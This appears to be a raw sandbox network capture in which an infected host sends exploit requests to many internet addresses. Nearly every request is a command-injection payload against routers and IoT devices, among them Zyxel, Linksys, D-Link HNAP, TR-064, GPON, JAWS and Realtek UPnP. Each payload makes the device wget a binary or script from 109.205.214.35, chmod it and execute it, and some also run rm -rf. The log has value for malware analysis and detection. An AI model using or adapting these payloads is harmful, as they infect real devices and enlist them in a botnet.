Mar 21, 2024 05:23:40.261713028 CET	335	IN	HTTP/1.1 400 Bad Request Server: nginx/1.6.2 Date: Thu, 21 Mar 2024 04:23:40 GMT Content-Type: text/html Content-Length: 172 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 36 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.6.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2014	192.168.2.13	49000	82.97.191.87	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:39.964948893 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
2015	192.168.2.13	50142	172.65.18.14	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:39.976339102 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
2016	192.168.2.13	53392	172.87.213.137	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:40.229154110 CET	426	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
2017	192.168.2.13	56058	172.65.135.197	8081

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:40.400302887 CET	763	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://109.205.214.35/mips && chmod +x mips;./mips hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2018	192.168.2.13	35322	118.240.97.4	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:40.619517088 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:40.911238909 CET	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2019	192.168.2.13	35258	101.108.186.123	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:40.700186968 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:41.829660892 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
2020	192.168.2.13	46290	109.176.191.147	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:40.867002010 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2021	192.168.2.13	44814	118.2.208.60	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:40.867099047 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2022	192.168.2.13	46078	212.220.92.101	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:40.867120981 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2023	192.168.2.13	33086	5.45.30.131	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:40.867120981 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2024	192.168.2.13	39300	109.1.136.91	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:40.867146015 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2025	192.168.2.13	34328	65.254.227.214	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:41.321032047 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:45.580264091 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:45.672950983 CET	1	IN	Data Raw: 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
2026	192.168.2.13	44160	172.105.9.204	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:41.333556890 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:41.439399004 CET	371	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:23:41 GMT Content-Type: text/html Content-Length: 150 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2027	192.168.2.13	54566	54.215.202.168	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:41.390305996 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:41.909868956 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
2028	192.168.2.13	59270	184.176.170.7	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:41.564366102 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:23:42.161520958 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
2029	192.168.2.13	46572	172.65.160.3	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:41.665484905 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
2030	192.168.2.13	46796	8.146.241.105	52869

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:41.787564993 CET	975	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2031	192.168.2.13	39960	47.142.43.211	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:41.814171076 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
